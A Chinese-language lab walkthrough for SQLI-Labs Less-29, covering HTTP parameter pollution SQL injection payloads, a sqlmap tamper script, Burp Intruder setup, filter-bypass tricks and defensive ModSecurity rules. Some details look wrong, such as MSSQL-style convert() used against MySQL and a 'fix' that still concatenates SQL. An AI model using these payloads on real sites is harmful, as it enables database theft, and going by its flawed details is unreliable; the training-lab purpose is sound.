1. SQLI-Labs靶场环境搭建与Less-29通关详解
作为Web安全领域的经典实训平台,SQLI-Labs由印度安全研究员Audi-1开发,目前GitHub星标已超5.8k。这个靶场系统通过65个渐进式关卡,完整覆盖了从基础Union注入到WAF绕过等全场景SQL注入技术。Less-29作为中级难度关卡,重点训练HTTP参数污染(HPP)与多重过滤机制下的注入技巧。
1.1 环境准备要点
在本地搭建测试环境时,建议使用XAMPP集成环境(Apache 2.4 + PHP 7.4 + MySQL 8.0)。克隆仓库后需特别注意:
git clone https://github.com/Audi-1/sqli-labs.git /var/www/html/sqli-labs修改数据库配置时,现代MySQL版本需要调整认证插件。编辑sql-connections/db-creds.inc时应添加:
$dbpass='your_password'; $dbhost='localhost'; mysqli_options($conn, MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1); // 解决数据类型转换问题注意:PHP 8.x环境下需注释掉index.php中的
mysql_connect()调用,改用mysqli_connect()
1.2 Less-29技术特征分析
该关卡模拟了以下防御机制:
- 参数名白名单校验(仅接受id参数)
- addslashes()转义处理
- 多层级参数解析(Apache+PHP双重解析)
- 空格与注释符过滤
核心突破点在于利用HTTP参数污染特性。当提交?id=1&id=2'时,不同技术栈的解析差异:
- Apache会传递两个id参数给PHP
- PHP默认取最后一个参数值
- 但部分WAF会检查第一个参数
2. 手工注入全流程拆解
2.1 初始探测与报错分析
使用Burp Suite拦截请求,构造特殊参数观察响应:
GET /Less-29/index.php?id=1%27%20--+ HTTP/1.1 Host: localhost关键响应特征:
You have an error in your SQL syntax... check the manual that corresponds to your MySQL server version...通过报错信息可确认:
- 存在单引号字符型注入
- 注释符
--+被过滤 - 空格转换为加号仍有效
2.2 参数污染利用技巧
构造双重参数绕过转义:
?id=1&id=2' and 1=convert(int,@@version)--成功执行原理:
- 第一个id=1通过基础校验
- 第二个参数中的单引号未被转义
- convert()函数替代空格避免过滤
2.3 数据提取完整Payload
获取数据库版本信息:
?id=1&id=0' union select 1,@@version,3--+爆表结构时需注意:
?id=1&id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+实战技巧:遇到列名过滤时可用
table_schema=0x[hex编码]替代
3. 自动化注入工具适配方案
3.1 SQLmap定制策略
创建hpp-tamper.py脚本处理参数污染:
import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): return "1&id=" + payload.replace(" ", "+")执行命令:
sqlmap -u "http://localhost/Less-29/index.php?id=1" --tamper=hpp-tamper --dbs3.2 Burp Intruder爆破模式
设置Payload Positions时:
- 添加两个id参数
- 第一个参数固定为合法值
- 第二个参数放置注入点
使用Pitchfork攻击类型,Payload Set配置:
- Set1:固定值1
- Set2:SQL注入字典
4. 防御方案与代码审计要点
4.1 安全编码实践
修复方案应包含:
$id = $_GET['id'] ?? ''; if (is_array($id)) die('Invalid input'); $id = $mysqli->real_escape_string($id); $query = "SELECT * FROM users WHERE id='$id' LIMIT 1";4.2 WAF规则配置建议
针对HPP攻击的ModSecurity规则:
SecRule &ARGS_GET:id "@gt 1" "id:10001,deny,msg:'HTTP Parameter Pollution'" SecRule ARGS_GET "@contains '" "id:10002,deny,msg:'SQLi Detection'"5. 深度绕过技术研究
5.1 多重解析差异利用
不同中间件对重复参数的处理差异:
| 技术栈 | 处理方式 | 可利用性 |
|---|---|---|
| Apache+PHP | 取最后一个值 | ★★★★☆ |
| IIS+ASP.NET | 拼接逗号分隔 | ★★☆☆☆ |
| Nginx+Python | 转换为数组 | ★☆☆☆☆ |
5.2 非常规注释技巧
当--+和#被过滤时,可尝试:
?id=1%27%00/*!50000and*/1=1%23利用:
- NULL字节截断
- MySQL版本特定语法
- URL编码混淆
6. 靶场进阶训练建议
完成基础注入后,可尝试:
- 不使用union获取数据(通过报错/布尔盲注)
- 绕过模拟WAF(如Cloudflare规则)
- 实现OOB带外数据泄露
- 结合XSS实现联合攻击
我在实际渗透测试中发现,现代CMS系统往往在API网关处存在参数解析差异,这种特性在RESTful接口中尤为明显。建议在掌握基础技巧后,重点研究JSON参数污染和Content-Type转换场景下的注入技术。